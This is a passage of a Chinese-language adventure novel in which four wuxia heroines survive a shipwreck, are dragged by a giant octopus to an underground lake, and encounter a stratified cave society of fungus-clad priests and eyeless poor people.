爆炸席卷而来的瞬间,那团高速旋转的内力立刻迎了上去,四人同时也被撞来的冲击力狠狠掀飞出去。小童子和小龙女体内的内力被逼得疯狂流转,一圈快过一圈,如同无数细小剑锋绕着四人急速切割,将那股毁天灭地的爆炸威力一层层削开,死死护住四人。 可爆炸仍然太重,小童子和小龙女的内力越来越弱,两人喉间都泛起浓厚的血腥味。小龙女扣在小童子背后的手指骤然收紧,小童子也本能地收紧手臂。 李秀宁和铁心兰被死死拢在中间,只觉身体骤然失重,耳边全是嗡鸣。 更远处的木板和铁件成片崩裂,碎片被气浪裹着追上来。四人被余波推着撞向船舱深处,先撞断一根横梁,又擦过倾斜的舱壁。 小童子和小龙女谁也没有松手,她们抱着彼此,像用身体和内力结成一个摇摇欲裂的壳。腥臭热雾贴着皮肤烧过去,衣料焦了,发尾卷了,内力一层层被磨薄,又被两人硬生生从丹田里榨出新的补上。 李秀宁和铁心兰被护在里面,看不见外面发生了什么,只能听见小童子和小龙女越来越沉重的呼吸,以及她们撞上残骸时压在喉间的闷哼。 最后一层冲击力贴上来,小童子和小龙女体内剩下的内力几乎同时涌出,旋转着迎向那股冲击。两股力量在半空里狠狠一抵,内力被磨尽,冲击也被抵消得只剩最后一点余波。 四人从半空摔下,砸在船腹最底层一片倾斜的残板上。 血从小童子和小龙女的唇角落下,滴在李秀宁手背上、铁心兰的脸上。 小童子和小龙女仍保持着相抱的姿势,可两人身上的内力已经空了。 小童子眼前一阵阵发黑,扣在小龙女背后的手终于失了力,慢慢滑落下去。她额头抵在小龙女肩上,呼吸轻得几乎听不见。 小龙女指尖动了一下,似乎还想把她重新抱紧,可体内已经再榨不出半分内力。下一瞬,她眼底最后一点清明也散了,下颌轻轻垂落。 78.深海湖泊 深海里,拖走海盗船残骸的巨物终于露出全貌。 那是一只巨型章鱼,它几条受伤的触手仍在流血,黑红色血液一团团散进海水里;另外几条完好的触手则死死裹住海盗船残骸,将整艘破船拖向海底更深处。 船腹最底层,小童子和小龙女已经昏了过去,原本护着李秀宁和铁心兰的手臂也失了力。李秀宁最先撑起身,反手拉住小龙女;铁心兰也顾不得耳边还在嗡嗡作响,一把拽住小童子风衣的帽子。 先前爆炸留下的耳鸣尚未散尽,四周便又传来木板断裂和海水灌入的声音。 黑冷海水从裂开的船舷和破洞里涌进来,先是漫过残板,随后猛地卷过四人身边。小童子在昏沉里呛了一下,冰冷海水灌入口鼻,胸腔像被狠狠穿透,整个人猛地咳醒。小龙女也被水呛得睁开眼,眼底还没有完全聚起清明,身体已经随着船身一歪,撞向旁边断裂的横梁。 李秀宁咬牙把她往回一带,避开那根断裂横梁。铁心兰也借着那一下晃动,将小童子从几片交错的碎木间拖了出来。 四人几乎同时屏住呼吸,可海水还在灌入,越来越急,转眼便没过头顶,将破开的船腹彻底填满。 外面的巨型章鱼熟门熟路地钻入一处海底洞穴,它庞大的身躯先挤入洞口,八条触角随后收拢,拖着海盗船残骸硬生生往里拽。 残船轰然撞上洞壁,断桅折成数截,船舷大片剥落,碎木和铁钉在水中翻滚。四人被困在灌满海水的破碎船腹里,周围全是漂浮的断板、破帆和铁片,根本分不清上下。船身往左一撞,她们便被水流和碎木一起甩向右侧舱壁;船尾被触角一拖,她们又在翻涌的黑水里打着转撞回残骸深处。 巨型章鱼顺着水流前进,洞道七拐八拐。起初四周仍灌满海水,越往里,水面渐渐贴着岩壁往下退,露出湿漉漉的洞顶和嶙峋石刺。 它拖着船骸冲出最后一段被海水淹没的洞道,庞大身躯滑上一片倾斜岩坡。残船被从水里硬生生拖进没有海水的洞穴,船身在湿石上刮出刺耳巨响,积在船舱里的水哗啦啦往外泼。 巨型章鱼仍没有停,它用触角吸住岩面,一收一放,拖着残骸穿过几条弯曲石廊,最后来到一处忽然开阔的洞穴边缘。下方泛出点点微光,竟是一座藏在海底洞穴深处的湖泊。 它拖着残骸猛地往下一沉,四人在船腹残骸里一路东倒西歪,下一瞬便连人带碎木被甩出船骸,重重砸进湖水里。 四人被甩出船骸,坠落的冲击力将湖水狠狠压向口鼻。四人猝不及防都被灌了一口水,胸口又是一阵发闷。 可这一次,涌入口鼻的水没有海水那种腥咸苦涩,反而清冽,带着一点微甜。 几人几乎同时反应过来,这是淡水,忍不住在水中睁开眼。 湖底并不是全黑的,大片发光植物附着在岩石、沉木和水草之间,叶片细长,一簇一簇散着淡青色微光。 那些光在水里摇晃,把沉下来的船板、断绳和铁片照出模糊轮廓,也照出更深处一片巨大的阴影。 巨型章鱼就伏在湖底洞穴边缘,它的触角卷着海盗船残骸,一根根探进破开的船腹里,像在翻找什么。很快,一只只被它弄死的海盗被从船舱里挑了出来,下一刻便被章鱼送入口中咬碎,血从它口边散开。 四人一时都僵在水中,她们先前一直被困在船腹残骸里,只听见木板向内挤压的断裂声,听见海盗怪物惊恐尖叫、四处逃窜,以及看见卡车突然爆炸,根本不知道船外究竟发生了什么。 直到此刻,她们才明白原来先前整艘海盗船向内塌陷,是被这个庞然大物的触手从外面死死裹住。 那些海盗忽然变了调的尖叫,也是因为看见了这个从深海里缠上来的巨物杀手。 而现在,那只巨型章鱼正伏在湖底洞穴里,一口接一口地吞食船里的海盗。 就在这时,小龙女忽然看向巨型章鱼旁边。那里的水草比别处更密,深绿色叶片一圈圈缠着湖底岩石。水草之间,有一样东西半埋在泥沙里,不过巴掌大小,灰黑色,边缘不规则,正面有一面碎裂的蓝色薄屏,屏面裂痕里偶尔闪过极弱的光。 其余三人也看见了,那是控水模块,这东西真的在异常区里! 四人第一反应都是往下沉,但她们很快意识到不对,方才被甩出残船时,四人都已经呛了水,又在湖底强撑着看清周围。此刻体内那点氧气迅速耗尽,肺腑开始一阵阵发紧,耳边也像蒙上一层沉闷的水声。 如今小童子和小龙女内力见底,只比普通人强一些,李秀宁和铁心兰也被方才一连串冲撞折腾得气息不稳,四人谁都不敢托大。 若这时候强行往下沉,她们恐怕还没碰到模块,胸口那点气就会先耗尽,直接溺死在这里。 李秀宁当机立断,示意大家先往上。四人拼命往湖面上浮,越往上,光越暗。 不知过了多久,头顶终于有了空气。哗啦一声,她们先后破水而出,大口喘息,冰冷空气灌进喉间,呛得她们连连咳嗽。 她们浮在一片地下淡水湖中,湖面很宽,四周是高而湿滑的岩壁。岩壁上长着许多发光菌,有的附在洞顶,像一片片浅青色斑痕;有的顺着岩缝往下垂,菌丝细而长,被洞内微风一吹,便轻轻摇动。地面和岩石上也长着发光菌,星星点点铺开。 可那些光太弱,它们并不能把洞穴照亮,只能让黑暗不至于彻底吞没一切。远处的岩洞仍然昏沉,近处的湖水也只泛着一点暗青色。湖面上漂着海盗船碎片、断绳、几颗糖果,还有巨型章鱼留下的黑红血雾。 水面上已经看不见底下那只巨型章鱼,只有湖下更深处还不时传来沉闷的翻搅声,几圈涟漪缓慢扩散,黑红血液也一点一点浮了上来。 就在四人借着浮木往岸边慢慢靠时,远处忽然传来整齐的步伐声。 脚步落在湿岩上,声音不大,却很齐,像许多人同时从一条洞道里走出来。四人立刻停住动作,沉在水里,只露出口鼻和眼睛。 很快,一群人出现在湖岸边。那些人身形大多不高,肩背宽厚,皮肤呈久不见日光的灰白色。最奇异的是他们身上穿着的衣服,那衣服不像布,也不像皮革,而是用大片柔软发光菌编织、缝合而成。菌丝沿着衣襟、袖口和腰带蔓延,发出淡淡青绿光,把他们的脸照得忽明忽暗。 他们的眼睛看起来和常人差不多,只是瞳色更浅些。借着菌衣散出的淡淡青光,他们很快辨出湖面上漂着几道人影。 他们每个人手里都握着一柄短刀或长刀,刀背嵌着灰黄发红的石块,刀刃被那石块烘得暗红,热气贴着刃口微微扭曲。为首那人抬起长刀,指向湖中四人,口中发出一串急促声音:“叽噜瓦塔,赫因纳!” 四人完全听不懂,不知道作何回应。那群人见她们没有回应,声音顿时更急。几个人上前一步,用暗红热刃不断指着她们,又指向湖面上巨型章鱼留下的黑红血液。还有人蹲在岸边,伸手蘸了一点血,放到鼻下闻了闻,脸色骤然变得惊恐。他站起来,冲着同伴焦急比划。 小童子虽听不懂他们说什么,却看出他们害怕这件事。或许那只巨物对他们而言是不同寻常的存在,又或许它的血 会引来更麻烦的东西。 为首那人忽然高举热刃,其余持热刃的人立刻向两侧分开,露出被他们簇拥在中间的几名长袍人。 那些长袍人体态更圆润些,肩背不像持热刃的人那样绷紧,身上的菌衣从肩头垂到脚踝,青绿色微光沿着衣褶缓缓流动。每个人手里都握着一根长矛,矛身像骨又像石,矛尖却发着和湖底植物一样的淡青光。 拿着长矛的人同时将矛尖指向湖面,开始吟唱。 那声音很怪,起初低沉,像从喉咙深处挤出来;很快又拔高,变得尖锐刺耳。许多人的声音叠在一起,在洞穴岩壁间来回撞击,听得小童子和小龙女的耳膜发疼,李秀宁和铁心兰也立刻捂住耳朵。 湖底忽然动了,泥沙翻起一团团浑浊暗影,水草剧烈摇晃,像有什么东西从淤泥里钻出来。四人低头望去,只见湖下出现许多红褐色影子。那些东西身形狭长,前端长着两只大钳,背壳坚硬,尾部一节节摆动,模样像极了被放大许多倍的龙虾。 它们从湖底泥地里钻出,成群结队向湖中四人游来。 铁心兰倒吸一口气:“上岸!” 四人立刻往岸边游,若是平时,小童子和小龙女轻轻一借力,便能踏水而走。可此刻两人内力尽失,只能像普通人一样一下一下往岸边划去。 李秀宁和铁心兰立刻发现小童子和小龙女的速度不对,两人一左一右,分别扣住小龙女和小童子的手臂,运气带着她们往岸边快速游去。身后的大龙虾越来越近,水下传来密密麻麻的划水声。偶尔有钳子夹住浮木,咔嚓一声,木头便断成两截。 四人终于摸到岸边岩石,岸上那群发光菌衣人见她们上岸,齐齐举起热刃。 为首那人厉声喊了什么,下一瞬,所有刀背上的热石同时亮起暗红微光。刀刃被烘得更红,湿冷空气贴着刃口发出极轻的嘶声,连落在刀身上的水珠都瞬间化成白雾。 那群人猛地逼近,最前面一柄热刃横斩过来,擦过四人身侧岩壁,岩面立刻冒起一缕白烟,留下焦黑痕迹。第二人紧随其后,短刀直奔小童子肩侧而来,暗红刃光在昏暗洞穴里像一道贴近皮肉的火线。 铁心兰一把拉住她,借着自己的轻功往旁边掠开。热刃擦着小童子肩侧斩下,刀风带起灼热气息,烫得青色风衣边缘微微一卷。 另一边,小龙女也被李秀宁拉着躲避热刃。若在平日,小龙女哪里需要旁人带着躲避这样的攻击。可此刻她只是轻轻抿了一下唇,没有逞强。李秀宁抓着她的手腕,她便顺着对方力道退。白色风衣湿透后贴在身上,发梢还滴着水,整个人显得清冷又虚弱。 李秀宁带着小龙女,铁心兰拉着小童子,两人同时运起轻功,沿着湖岸湿滑岩石向前逃窜。可她们方才也被水流和残骸折腾得体力所剩不多,此刻还各自带着一个人,速度根本提不起来。 小童子被铁心兰拉着掠过一片发光菌边缘,忍不住回头看向身后。 洞穴里实在太暗,岩壁上的发光菌和湖边植物只能透出一点极淡的青光,像快要熄灭的余烬,照不远,也照不清。湿滑岩石、高低不平的地面和石缝里的水洼,全都沉在大片黑影里。 好在小童子从小在黑暗的古墓中长大,早已习惯在暗处视物,这才看清身后的追兵并不是凭空认路,而是借着自身菌衣发出的微弱淡光看清脚下。 那些人便借着自己身上的微光辨认岩坑和水洼,脚步几乎不停,像早已习惯在这种暗淡光线里奔跑。 小童子脑中忽然闪过一个念头,她立刻对李秀宁道:“把你的手电筒给我。” 79.神赐 李秀宁没有问为什么,她一边带着小龙女避开身后追来的热刃,一边反手从腰侧摸出手电筒,抛给小童子。 小童子接住手电筒,先将出光口对准身后那群人,才模仿先前李秀宁使用这东西的动作,按下侧边凸起的按钮。 雪白光柱骤然刺出,直直照向追来的那群人。 在地面上,这不过是一束明亮白光。可对这些长久生活在地下、习惯了发光菌微弱暗光的人而言,却像一轮小太阳突然贴到眼前。 那群人几乎同时惨叫,手中热刃纷纷垂落。有人甚至失手把刀砸在湿岩上,暗红刀口烫出一片白雾;冲在前面的几人骤然停住,后面的人来不及收势,顿时撞成一团。还有人被白光扫到侧脸,立刻偏头闭眼,口中发出又急又痛的叫声。 李秀宁看着那群人被强光刺得闭眼,心念忽然一转,立刻压低声音道:“跟我走!” 铁心兰立刻会意,她和李秀宁几乎同时运起内力。她们没有继续往前逃,借着那群人捂眼混乱的一瞬,忽然折返。 几乎就在折返的同时,小童子立刻关掉手电筒,不再让白光暴露她们的位置。 四人声音压到最低,脚尖点过湿岩和发光菌边缘,绕过一处突出的石柱,悄无声息地折回湖边。李秀宁很快看见岸边有一处半塌的大岩石,便带着几人贴着阴影钻了进去。 身后那群人果然没有发现她们折返,他们捂着眼睛,眼泪直流,好不容易睁开一点,视线仍模糊。为首那人愤怒地喊了几声,指向四人原先逃走的方向,带领大家追去。 那块半塌岩石很大,周围发光菌又稀少,大片阴影正好能挡住四人的身影。湖面仍在轻轻晃动,巨型章鱼的血雾还未完全散开,湖底那些大龙虾般的东西在水面下游动,偶尔碰到残船碎片,发出细微的咔哒声。 四人缩在岩石阴影后,压低呼吸。小童子干脆坐到地上,背靠着冰冷岩石,顺手将小龙女抱进怀里,让她坐在自己腿上,靠着自己的怀里休息。 小童子原只是想让小龙女好好歇一歇,可小龙女轻轻坐在她怀里时,两人都怔了怔。 黑暗里,彼此的呼吸和心跳都近得分明。方才的冰冷和疲惫仿佛被隔在外面,一种从未有过的安定与欢喜从心底慢慢浮起,像两人同时浸进一汪温热的水中。小童子下意识将手臂收紧了些,小龙女也没有推开,只轻轻勾住她的手指,像是无声允了她这点亲近。 两人就这样相贴着坐了一会儿,谁都没有动。直到某一瞬,她们同时察觉到内息有些不同。 她俩收神内观,发现相贴之处竟有一缕极细的气息被轻轻牵动。先前那场爆炸榨干了两人的内力,经脉和丹田都空得厉害,如今却有一点几乎微不可察的内息,在两人体内缓慢游走,像冰冷灰烬底下重新亮起的一点火星。 那气息很弱,弱到几乎称不上恢复,可它确实在动,先从小童子丹田沉下去,又在小龙女经脉里轻轻转过一圈,再慢慢回到小童子体内。两人的内息就这样自然而然地交汇,慢得像石影外一滴一滴落下的水。 她们维持着相贴的姿势,任由那点内息在彼此之间自主运转。 外面追杀的脚步声渐渐远去,可湖边并没有真正安静下来。那些拿着青光长矛的长袍人还留在原处,周围也围着不少没有武器的人影,低低的说话声混着湖水拍岸声,一阵阵传到岩石后。 铁心兰从岩石边缘探出半张脸,确认那些人暂时追远了,才慢慢缩回来。她低头在自己包里翻了翻,动作放得极轻。包里东西不多,被水泡过后更显狼狈,压缩饼干外层包装皱巴巴的,备用绷带吸了水,沉甸甸一团。 最后,她摸出一个小小密封袋,袋子里装着几颗糖,彩色糖纸在发光菌微弱青光下亮了一下。 小童子、小龙女和李秀宁的目光同时落过去,几人都沉默了。 方才在海盗船上,她们亲眼看见被斩杀的海盗怪物碎成糖果、饼干、矿泉水,此刻再看见糖果,哪怕包装整齐,也难免想起鳞甲、黑血、腐肉和藤壶一层层塌陷后,啪嗒落在甲板上的彩色糖纸。 铁心兰看懂了她们的眼神,嘴角抽了抽。 “不是船上捡的。”她用气音道,“这是我和科技城的人换来的,是翻译糖。据说里面有什么神经适配材料,吃了之后能听懂其他语种。” 小童子看着那几颗糖,表情有点复杂:“吃糖便能听懂别人说的话?” “这个世界稀奇古怪的东西多了。”铁心兰把密封袋撕开一点,声音更低,“本来想留着以后用,没想到现在就能用上了。我们得听懂那些人说什么,才好见机行事。” 小龙女觉得这话很有道理,没有再忸怩,伸手拿了一颗吃起来。 四人吃完糖果后,支起耳朵去倾听湖边那些人讲话。 起先湖边那些地下人的声音仍旧叽里咕噜,过了一会儿,小龙女忽然觉得耳朵里轻轻一麻,又很快消失。 湖边的声音一点点变了,那些叽里咕噜的音节并没有消失,却在她耳中慢慢拆开,像一团乱线被无形的手理出头绪。先是几个短词,随后是断断续续的句子。再过片刻,小龙女终于听懂湖边那群人的话。 “地上人入侵了我们国家!” “她们伤了湖神!湖神流血了!” 那些人走到湖边一小方平台前,整齐跪下。那平台从湖岸延伸出去,只有半间屋子大小,表面被磨得很平,边缘嵌着许多发光菌。 平台中央有一块黑色石碑,石碑上刻着水波一样的纹路。那些长袍人围着石碑跪成半圈,双手按在额前,开始吟唱。 “湖之主,吞噬者。” “请息怒,请息痛,请让神血归于深水。” “地上人闯入神湖,伤及神躯,惊扰圣水。” “我等必捉她们,以她们的血偿还湖神之血。” “湖神赐我等淡水,使洞穴不渴。” “湖神赐我等食物,使孩童不饿。” “湖神从深水带来器皿、铁具、绳索与衣物。” “愿湖神安眠,愿发光菌藻照亮我等洞穴。” 声音低低传来,在洞穴里回荡。 铁心兰眯了眯眼,压低声音道:“他们把那只巨型章鱼当成湖神。” 小龙女轻声道:“听他们的意思,淡水、食物,还有那些从外面来的器物,都和那只章鱼有关。” 小童子看向湖面,声音更低:“他们叫我们地上人,那他们自己,就是一直住在地下的人?这里是在海底?” 李秀宁缓缓点头:“多半是,那只章鱼可能把残船拖进了深海洞穴,这些人就住在洞穴深处。我们若想回到沙漠,恐怕得先想办法从海底回到海面。” 长袍人的吟唱越来越整齐,湖边那些大龙虾般的东西慢慢潜回水下。 唱到第三遍时,湖面忽然有了动静。先是几圈涟漪从湖心扩散,随后,黑红色血雾重新翻起,水下有庞 大的影子缓缓掠过。几条巨型触角从湖面下伸出来,把一些东西从湖底深处推了上来。 第一块浮上来的是海盗船残骸,接着是半截桅杆,几只破木箱,一张被水泡烂的黑帆,还有几具残缺海盗尸体。那些尸体有的只剩半截,眼睛空洞地睁着,被发光水藻缠住手脚,又被湖水一冲,便缓缓撞上岸边岩石。 长袍人的吟唱没有停,他们甚至更恭敬地伏低了身子。 “感谢湖神赐食。” “感谢湖神赐光。” “感谢湖神赐铁。” 又有几只箱子被扔了上来,有一只箱盖已经开了,散落许多金属;另一只箱子里滚出成捆绳索、锈蚀刀具和几包还没被水泡坏的密封物资;湖里还有更多海盗残缺的尸身漂浮上来。 直到湖面下的巨型触角渐渐收回,不再有新的残骸和物资被推上岸,长袍人的吟唱声才终于慢慢停下。 为首的长袍人抬起头,声音庄严:“采集者上前,按旧例分拣。不得私藏,不得偷食。” “谨遵湖令!” 随后,原本围在长矛者身旁的那些无武器人群动了起来。他们穿的发光菌衣比卫兵短,也比长袍人朴素,背着一只只分隔竹筐和黑色网袋,还有人推着吱呀作响的小推车。 得到命令后,这些人立刻上前,动作熟练地开始采集。他们先用长钩和粗绳把湖边漂来的船体残骸、木箱、尸体和散落物资一批批拖上岸,堆到平台旁边的湿岩空地上。 等所有东西都离了水,才开始分拣。 他们先打开那些木箱,把里面还能用的东西一样样摊开。完好的食物、武器、金属器具、没有破损的衣物,还有缠在物资上的发光藻类,都被送到上层那一堆;坏掉的食物、破损却料子还好的衣物、还能修补的日用品,则被归入中层。剩下那些泡烂的碎物、污得看不出原样的杂物,以及海盗尸体,全被拨到下层。 接着,他们又开始拆船骸,完好的甲板、结实绳索、还能裁剪的帆布被送去上层;破损却仍能利用的部分被归入中层;至于木屑、碎布、烂帆角和那些似乎难以再利用的垃圾,则和尸体一起堆到归于下层的物资那边。 采集者们动作熟练得很,东西很快分好,上层、中层、下层三堆物资很快在湿岩空地上分开摆定。 为首的采集者擦了擦手,带着几个人恭恭敬敬来到长矛人群前,低头道:“祭司大人们,我们已经处理好分拣了。” 站在最前方的祭司长点了点头,目光扫过那三堆东西,声音平稳:“归上层的物资,随我们一起带回去。中层和下层的,你们按旧规矩处理。” 持长矛的祭司团先行转身,沿着湖岸右侧一条较高的洞道离开。几名采集者则带着归于上层的黑箱和盒子,恭敬地跟在祭司团身后。 那条洞道的发光菌最多,菌光也最亮。洞壁被打磨过,脚下铺着平整石板。祭司们走上去时,长袍下摆几乎没有沾上泥水。 剩下的采集者也很快分成两拨,中层物资被抬向另一条传来些许敲击声的洞道。那些铁器、绳索和还能修补的日用品,很快便消失在石壁转角后。 最后只剩下层那一堆,几个衣上发光菌暗淡得快要枯萎的人推来旧车,把泡烂食物、碎木屑、破布和尸体一股脑装进去,推向与祭司相反的方向。 那条路几乎没有发光菌,洞道口只有几片灰青色斑痕贴着岩壁,勉强照出潮湿地面,更深处黑得常人无法看清。 80.下层 倒完下层物资的人很快离开,他们推着空车,脚步比来时更快,像一刻也不愿在这条阴暗洞道里多停。 发光菌微弱地在他们衣物上发亮,很快便被拐角吞没。洞道重新安静下来,只剩地底深处不断传来的争抢声。 “我的!” “别踩我!” “给孩子留一口!” 那些声音从洞口一点点涌上来,又被黑洞吞没。 四人等了片刻,确认推车人已经走远,才从岩影后出来。 四人走到洞边,低头往下看。下面乌漆嘛黑,像一口深得看不见底的井,所有光都在洞口边缘停住,再往下便什么也照不出来。发光菌在洞壁旁稀稀落落贴着几片,光弱得可怜,只能看见湿滑石壁上一层黏腻水痕。 再往下,只有声音。许多人挤在一起的喘息声,抢东西时手脚撞在石头上的闷响,还有布料撕裂、孩子哭喊、老人咳嗽。小童子听得出下面人很多,却听不出究竟有多深,因着距离远,也看不见下面都是什么人。 小龙女微微皱眉,她也看不清。并非全然不能视物,只是这洞太深,光又太少,隔着这么一段距离,只能辨出一团混乱的影子。下方声音也太杂,连她和小童子的耳力都难以分清其中细节。 铁心兰趴在洞口看了一会儿,脸色不太好。她小声道:“我们去拿控水模块,然后想办法离开吧。现在还有巡逻队在找我们,不能在这里耽误太久。” 李秀宁点头:“先回湖边,若能拿到控水模块,再想办法离开异常区。” 小童子和小龙女没有反对,她俩现在内力空空,留在这里并不明智。控水模块就在湖底,是她们必须拿到的东西。 铁心兰带头往回走,这条洞道实在太暗,发光菌零零散散,许多地方甚至完全没有光。地面又湿又滑,时不时有细水从高处滴下,落在脚边的水洼里,发出极轻的答声。铁心兰走得很小心,可她毕竟不像小童子和小龙女那样能在黑暗中视物。 她没走几步,小龙女忽然看见前方地面有一处断口。那不是影子,而是一个横在路面上的洞。 洞口边缘和地面颜色几乎一样,又被一层湿泥覆盖,若不是小龙女角度正好,几乎也要忽略过去。 小童子明显也看到前方的洞口,和小龙女同时伸手想要拉住铁心兰。 可她们的身体比意识慢了一瞬,没有内力在经脉中运行,两人的动作竟显得笨拙。指尖还没碰到铁心兰衣角,铁心兰脚下一空,整个人直直坠了下去。 “心兰!”李秀宁低喝一声。 小龙女和小童子下意识扑过去,一左一右抓住铁心兰的手臂和衣带。人是拉住了,可下坠的力道太沉。若在平时,她们只需足尖一点,便能将人轻轻带回;可此刻丹田里空空荡荡,脚下发滑,两个人反而被铁心兰带着一起坠下去。 李秀宁听见风声骤然往下落,她几乎没有犹豫,纵身扑向洞口,伸手去捞,一把扣住小童子的风衣。 可三个人下坠的重量猛地压来,李秀宁手臂一沉,肩头顿时发疼。她方才在海盗船上厮杀,又在水下憋气、逃命、奔走,内力本就所剩不多,此刻硬要拉住三人,脚下却无处借力。 洞口边缘湿滑,她整个人也被拖了下去。四人一起坠入黑暗,风从耳边呼啸上卷。 小童子伸手去扒拉墙壁,指尖摸到的却只有湿泥和滑腻岩面。小龙女也试着扣住凸起石块,可那石块表面长着一层薄薄黏膜,指尖一触便滑开。铁心兰在黑暗里低骂了一声,伸手乱抓,也只抓下一把湿泥。 “拔剑!”李秀宁喝道。 几乎同一瞬间,四人兵刃出鞘。金铁刺入岩壁的声音接连响起,剑锋和刀尖狠狠插入洞壁,却没有立刻停住,而是顺着湿滑石壁一路向下划。 刺啦,火星短短亮起,又被黑暗吞没。 四人下坠的速度终于慢了些,刀剑在岩壁上拖出长长痕迹,震得手腕发麻。小童子咬紧牙关,双手握剑,任由剑身带着她往下滑。若内力仍在,她能凭一柄剑借力翻身,可如今只能靠手臂硬撑。手心很快被剑柄磨痛,虎口几乎裂开。 小龙女就在她旁边,黑暗中,小童子听见小龙女呼吸也乱了一瞬。 这比受伤更让她不习惯,龙儿向来轻得像一缕白影,何曾连呼吸都无法控制? 洞壁越来越湿,下一刻,四人接连砸进一片泥潭。 噗通几声闷响,湿泥溅起半人高。 若不是刀剑一路减速,这一下只怕骨头都要摔断。可即便如此,小童子仍被震得胸口发闷,整个人半陷在泥里,湿冷黏腻的泥浆没过腰间,溅起的湿泥往衣领里钻。 铁心兰最先从泥潭里抬起头,她脸上、头发上、肩上全是泥:“呸!” 她吐出一点泥水,整个人僵住片刻,像是在努力说服自己不要立刻崩溃。 李秀宁从旁边撑起身,甩了甩手上泥浆,短刀还握在手里。她先看了看身旁几人,但是这里一点光都没有,她什么都看不见。 小童子也从泥里爬起来,她低头看了看自己。青色风衣已经看不出本来的颜色,裤腿、袖口、腰间全糊着泥。头发贴在脸侧,发梢滴下来的也不知是湖水还是泥水。她抬头看向小龙女,发现小龙女比她好不到哪里去。 白色风衣染成灰褐色,乌发沾着泥,连素来清冷的脸颊边都溅了一点泥点。 两人对视,沉默一息。 小童子忽然笑了,她笑得很小声,可眼睛却弯了起来。小龙女看着她,也忍不住轻轻弯了下唇。 她们从来没有这么狼狈过,古墓里再清苦,也是干净的;行走江湖遇上沙尘,也不过衣衫微黄。像这样从头到脚摔进泥潭里,实在不像古墓派该有的样子。 可小童子第一反应竟不是苦闷,她压低声音道:“龙儿,没想到我们小时候没玩过泥巴,现在倒是满足了。” 小龙女也觉得好笑,却认真反驳:“是我没玩过,你小时候是玩过的。” 小童子愣了一下,随即笑意更深:“没想到你还记得,嘻嘻嘻。” 她笑得太轻,像湿冷黑暗里一点偷偷亮起的火苗。小龙女看着她,眼底那点疲惫也淡了些。 铁心兰却完全笑不出来,她感受着自己这一身泥,脸色一阵青一阵白。泥浆黏腻,贴着衣服往下滑,带着浓重土腥味。好在只是土腥味,并没有更恶心的腐臭,否则她觉得自己真能把胆汁吐出来。 “你俩先别调情了。”铁心兰压着嗓子,崩溃道,“赶紧离开这里,我受不了这泥巴。而且这里漆黑一团,我什么都看不见。” 小童子和小龙女同时看向她,调情?小童子疑惑,小龙女眼里也有迷茫。两人又互相看了一眼,都从对方眼里看见同样的不解。 还没来得及问,李秀宁又甩了甩身上的泥。她显然也难受,却比铁心兰镇定得多,只低声道:“洞壁太滑,我们一时爬不上去。龙姑娘、童姑娘,我们还是先在下面找到去湖里的路线为好。你俩似乎能在黑暗中视物,请为我们带路吧。” 小龙女点头:“好。” 小童子收起笑意,握紧剑准备出发。只是这一握,她才发现掌心被剑柄磨得发疼。没有内力护持,这一路摔下来,她竟连手都磨伤了。 小龙女和小童子在黑暗中开路,李秀宁和铁心兰拉着她 俩衣角跟在身后。 泥潭外是一条低矮洞道,有些地方几乎需要低头才能过去。洞壁覆着水痕,地面铺着厚厚泥层,踩上去会发出轻微的噗嗤声。四周没有发光菌,一点火光都没有。 她们走出泥潭没多远,便又听见争抢的声音。这一次,比方才在洞口听见的更近。 小童子和小龙女同时停下。这里离得近了,纵然没有光,她们仍能在黑暗中辨出轮廓:左边是一处巨大的坑,坑底挤着很多人。 小童子和小龙女仔细往那边一看,心里忽然一沉。那些人脸上没有眼睛,有的人眼眶处只剩平整皮肤,有的人则有两道浅浅凹痕,像眼睛曾经存在过,又被漫长黑暗慢慢抹去了。 他们衣衫褴褛,身体大多瘦削,许多人伏在地上,用手摸索着刚刚从上方倒下来的物资。 他们正在争抢,有人摸到半块发霉饼干,立刻把它塞进怀里;有人抓住一只破糖纸,发现里面什么都没有后,又急急去摸别处;一个小孩抱着断刀柄不放,被旁边大人一把推开,摔进泥里也没哭,只爬起来继续找。 小龙女和小童子眉头微蹙,她们没有过去,不想惊动这些人,只把看到的景象低声告诉李秀宁和铁心兰。两人听到坑底那些人脸上空空,呼吸一滞,脸色都不好了起来。 她们往坑的另一边走,小心避开碎石和泥水。坑里的人听力似乎都很敏锐,有几次有人忽然抬头,朝她们方向偏了偏脸。小龙女和小童子立刻停住脚步,李秀宁和铁心兰也跟着站住,等那人重新低头,四人才继续往前。 绕过巨坑后,洞道渐渐宽了些。她们竟进入了一片类似住宅区的地方,两侧是山一样高的岩壁。 天然岩壁被一层层挖开、掏空。岩壁上密密麻麻分布着许多洞坑,有的在地面,有的高出半人,有的甚至需要踩着凸出的石阶才能爬进去。每个洞坑都不大,里面铺着旧布、干草、破木片。 一家老小就窝在那样一个洞里,一个洞坑里挤着四五个人,两个大人蜷在最外面,把中间的位置让给两个孩子和一个老人。另一个洞里只有一床破布和半只木箱,破木箱里放着几块碎饼干,被一块石头压着。还有人把捡来的断绳挂在洞口,像门帘一样遮住一点风。 这里的人大多也是没有眼睛,哪怕还残留着眼睛,似乎也早已失去视物的功能。 他们伏地爬行,或弯着腰摸索前进,手指习惯性地贴着地面和墙壁。也有人能站着走,却走得很慢,每走几步便用脚尖探一探前方。 他们身上的衣服很旧,有些只是几块布缠在身上,有些披着破洞斗篷,还有人穿着的不合身衣物,一看就知道是捡来的,袖子长得拖地,衣摆却短得遮不住膝盖。 可这里并不是死寂,一些小孩正在道间爬来爬去。 他们凭声音行动,却比大人灵活许多。有的用双手撑地,膝盖和脚掌配合着飞快爬行;有的沿着岩壁凹陷处攀上攀下;还有几个孩子一边爬一边小声呼朋引伴,像在玩某种追逐游戏。 “我在这里!” “你跑慢了!” “我听见你啦!” 若不是环境太昏暗,若不是这些孩子脸上只剩一片平整的皮肤,这声音听起来几乎和普通孩子玩闹没什么不同。 小童子和小龙女领着两人贴着墙边走,走走停停。 一个小孩爬得太快,转过一块突出的岩石时,砰地撞上小龙女的小腿。 那小孩也摔坐在地上,摸了摸额头,气呼呼地抬起没有眼睛的脸。 “怎么停在这里一点声音都不发出来?”他小声抱怨,“一点都不礼貌啊,我听不到你们,撞得疼死我了。” 81.地底熔河国 小龙女怔了一下,这下四人才发现,周围的人并非一直安静。 那些人不交谈的时候,也会时不时发出一种很小很轻的嗡嗡声。声音从喉咙里滚出来,短促而低微,有的人是“嗯——嗯——”,有的人像轻轻敲击舌面。那声音并不大,若不仔细听,几乎会被滴水声和远处争抢声盖过去。 可这里所有人似乎都靠它判断彼此位置,只要静止不动,就会发出这样的声响。 